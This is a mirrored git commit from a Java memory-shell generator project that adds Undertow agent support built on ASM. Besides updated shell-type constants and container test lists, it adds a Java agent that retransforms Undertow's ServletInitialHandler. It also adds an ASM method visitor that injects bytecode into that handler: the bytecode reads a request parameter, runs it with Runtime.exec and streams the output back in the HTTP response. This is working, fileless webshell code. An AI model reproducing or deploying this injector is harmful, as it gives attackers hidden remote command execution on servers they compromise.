mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support undertow agent with asm (#51)
This commit is contained in:
@@ -232,6 +232,7 @@ public enum Server {
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
@@ -19,13 +19,15 @@ public class ShellType {
|
||||
public static final String NETTY_HANDLER = "NettyHandler";
|
||||
|
||||
public static final String AGENT = "Agent";
|
||||
public static final String ASM = "ASM";
|
||||
|
||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChainASM";
|
||||
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
|
||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValveASM";
|
||||
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
|
||||
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
|
||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||
|
||||
|
||||
@@ -1,9 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
|
||||
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInitialHandlerAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
|
||||
import com.reajason.javaweb.memshell.injector.undertow.*;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
@@ -48,6 +45,7 @@ public class UndertowShell extends AbstractShell {
|
||||
.addInjector(LISTENER, UndertowListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
|
||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
|
||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -60,7 +60,7 @@ public class GlassFish3ContainerTest {
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
// ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||
// ShellType.AGENT_FILTER_CHAIN_ASM, 内置了 asm 但是版本太低
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
// ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||
);
|
||||
|
||||
+5
-1
@@ -51,7 +51,11 @@ public class Payara5201ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Payara;
|
||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
// ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM // 内置了 ASM,但是版本较低,是 7 版本不兼容
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
+5
-1
@@ -51,7 +51,11 @@ public class Payara520225ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Payara;
|
||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
+5
-1
@@ -51,7 +51,11 @@ public class Payara620222ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Payara;
|
||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||
}
|
||||
|
||||
+5
-1
@@ -51,7 +51,11 @@ public class Wildfly18ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
+5
-1
@@ -51,7 +51,11 @@ public class Wildfly23ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
+5
-1
@@ -51,7 +51,11 @@ public class Wildfly30ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||
null, List.of(ShellTool.AntSword) // AntSword not support jakarta
|
||||
|
||||
+5
-1
@@ -55,7 +55,11 @@ public class Wildfly9ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
|
||||
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
||||
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
|
||||
Triple.of(ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar) // Request ClassNotFound in module
|
||||
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
package com.reajason.javaweb.memshell.injector.undertow;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class UndertowServletInitialHandlerAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "io/undertow/servlet/handlers/ServletInitialHandler";
|
||||
private static final String TARGET_METHOD_NAME = "handleFirstRequest";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public UndertowServletInitialHandlerAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
System.out.println(name);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
System.out.println(argumentTypes.length);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new UndertowServletInitialHandlerAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
|
||||
}
|
||||
}
|
||||
+211
@@ -0,0 +1,211 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command.undertow;
|
||||
|
||||
import org.objectweb.asm.Label;
|
||||
import org.objectweb.asm.MethodVisitor;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.objectweb.asm.Type;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandServerInitialHandlerAsmMethodVisitor extends MethodVisitor {
|
||||
|
||||
private final Type[] argumentTypes;
|
||||
|
||||
public CommandServerInitialHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argumentTypes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
super.visitCode();
|
||||
|
||||
// First local variable index after method parameters
|
||||
int localVarIndex = 1;
|
||||
for (Type type : argumentTypes) {
|
||||
localVarIndex += type.getSize();
|
||||
}
|
||||
|
||||
// Define our parameter name
|
||||
mv.visitLdcInsn("paramName");
|
||||
int paramNameIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); // Store "paramName"
|
||||
|
||||
// Define labels for try-catch
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
|
||||
// Register the try-catch block
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
|
||||
|
||||
// Start of try block
|
||||
mv.visitLabel(tryStart);
|
||||
|
||||
// Initialize servletRequestContext as null
|
||||
mv.visitInsn(Opcodes.ACONST_NULL);
|
||||
int servletRequestContextIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, servletRequestContextIndex); // Store servletRequestContext
|
||||
|
||||
// Determine which argument is servletRequestContext
|
||||
// Check argumentTypes.length - if argumentTypes.length == 2, use arg[1], else use arg[2]
|
||||
if (argumentTypes.length == 2) {
|
||||
// Access first argument (adjusted for static/instance method)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 2);
|
||||
} else {
|
||||
// Access second argument (adjusted for static/instance method)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 3);
|
||||
}
|
||||
|
||||
mv.visitVarInsn(Opcodes.ASTORE, servletRequestContextIndex); // Store in servletRequestContext variable
|
||||
|
||||
// Get request: request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getServletRequest");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
int requestIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, requestIndex); // Store request
|
||||
|
||||
// Get response: response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getServletResponse");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
int responseIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, responseIndex); // Store response
|
||||
|
||||
// Get the parameter: cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getParameter");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
|
||||
// Invoke the getParameter method
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
int cmdValueIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, cmdValueIndex); // Store cmd in local var 4
|
||||
|
||||
// Check if cmd is not null
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cmdValueIndex); // Load cmd
|
||||
Label ifNullLabel = new Label();
|
||||
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
|
||||
|
||||
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cmdValueIndex); // Load cmd
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
|
||||
int processIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, processIndex); // Store Process
|
||||
|
||||
// Get input stream: InputStream inputStream = exec.getInputStream();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, processIndex); // Load Process
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
|
||||
int inputStreamIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); // Store InputStream
|
||||
|
||||
// Get response output stream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getOutputStream");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
|
||||
int outputStreamIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); // Store OutputStream
|
||||
|
||||
// Create buffer: byte[] buf = new byte[8192];
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
|
||||
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
|
||||
int bufferIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); // Store byte[] buffer
|
||||
|
||||
// While loop to read and write data
|
||||
Label loopStart = new Label();
|
||||
Label loopEnd = new Label();
|
||||
|
||||
// Start of loop
|
||||
mv.visitLabel(loopStart);
|
||||
|
||||
// Read data: inputStream.read(buf)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); // Load inputStream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false);
|
||||
int lengthIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); // Store length (note: not incrementing index yet)
|
||||
|
||||
// Check if length == -1
|
||||
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
|
||||
mv.visitInsn(Opcodes.ICONST_M1);
|
||||
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
|
||||
|
||||
// Write data: outputStream.write(buf, 0, length)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); // Load outputStream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); // Load length
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([BII)V", false);
|
||||
|
||||
// Go back to start of loop
|
||||
mv.visitJumpInsn(Opcodes.GOTO, loopStart);
|
||||
|
||||
// End of loop
|
||||
mv.visitLabel(loopEnd);
|
||||
|
||||
// Return from the method without calling original doFilter
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
|
||||
// If cmd is null, continue with original method
|
||||
mv.visitLabel(ifNullLabel);
|
||||
|
||||
// End of try block
|
||||
mv.visitLabel(tryEnd);
|
||||
|
||||
// Skip catch block if we didn't enter it
|
||||
Label afterCatch = new Label();
|
||||
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
|
||||
|
||||
// Start of catch block
|
||||
mv.visitLabel(catchHandler);
|
||||
// The exception is now on the stack
|
||||
mv.visitVarInsn(Opcodes.ASTORE, localVarIndex); // Store exception in local var 10 and discard it
|
||||
|
||||
// End of catch block
|
||||
mv.visitLabel(afterCatch);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user